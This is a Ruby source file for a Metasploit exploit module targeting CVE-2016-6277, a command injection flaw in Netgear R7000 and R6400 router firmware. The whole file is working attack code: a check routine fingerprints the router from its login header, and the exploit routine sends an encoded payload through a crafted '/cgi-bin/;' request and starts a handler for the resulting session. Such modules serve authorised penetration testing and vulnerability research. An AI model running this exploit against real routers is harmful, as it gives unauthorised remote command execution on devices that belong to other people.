metasploit-framework/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb

97 lines
2.9 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => "Netgear R7000 and R6400 cgi-bin Command Injection",
'Description' => %q{
This module exploits an arbitrary command injection vulnerability in
Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and possibly earlier.
},
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Author' => ['thecarterb', 'Acew0rm'],
'DefaultTarget' => 0,
'Privileged' => false,
'Arch' => [ARCH_CMD],
'Targets' => [
[ 'Automatic Target', { } ]
],
'References' =>
[
[ 'EDB', '40889'],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'],
[ 'URL', 'https://www.kb.cert.org/vuls/id/582384'],
[ 'URL', 'http://kb.netgear.com/000036386/CVE-2016-582384'],
[ 'CVE', '2016-6277']
],
'DisclosureDate' => 'Dec 06 2016',
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'BadChars' => "\x20"
}
))
register_options(
[
Opt::RPORT(80)
], self.class)
end
def scrape(text, start_trig, end_trig)
text[/#{start_trig}(.*?)#{end_trig}/m, 1]
end
# Requests the login page which discloses the hardware, if it's an R7000 or R6400, return Detected
def check
res = send_request_cgi({'uri'=>'/'})
if res.nil?
fail_with(Failure::Unreachable, 'Connection timed out.')
end
# Checks for the `WWW-Authenticate` header in the response
if res.headers["WWW-Authenticate"]
data = res.to_s
marker_one = "Basic realm=\"NETGEAR "
marker_two = "\""
model = scrape(data, marker_one, marker_two)
vprint_status("Router is a NETGEAR router (#{model})")
if model == 'R7000' || model == 'R6400'
print_good("Router may be vulnerable (NETGEAR #{model})")
return CheckCode::Detected
else
return CheckCode::Safe
end
else
print_error('Router is not a NETGEAR router')
return CheckCode::Safe
end
end
# Mostly from ddwrt_cgibin_exec.rb, it's essentially the same exploit
def exploit
is_vuln = check
cmd = payload.encoded # .unpack("C*").map{|c| "\\x%.2x" % c}.join
#str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&"
print_status('Sending encoded command...')
vprint_status("Encoded command: #{cmd}")
send_request_cgi({ 'uri' => "/cgi-bin/;#{cmd}" })
print_status('Giving the handler time to run...')
handler
sleep(10)
end
end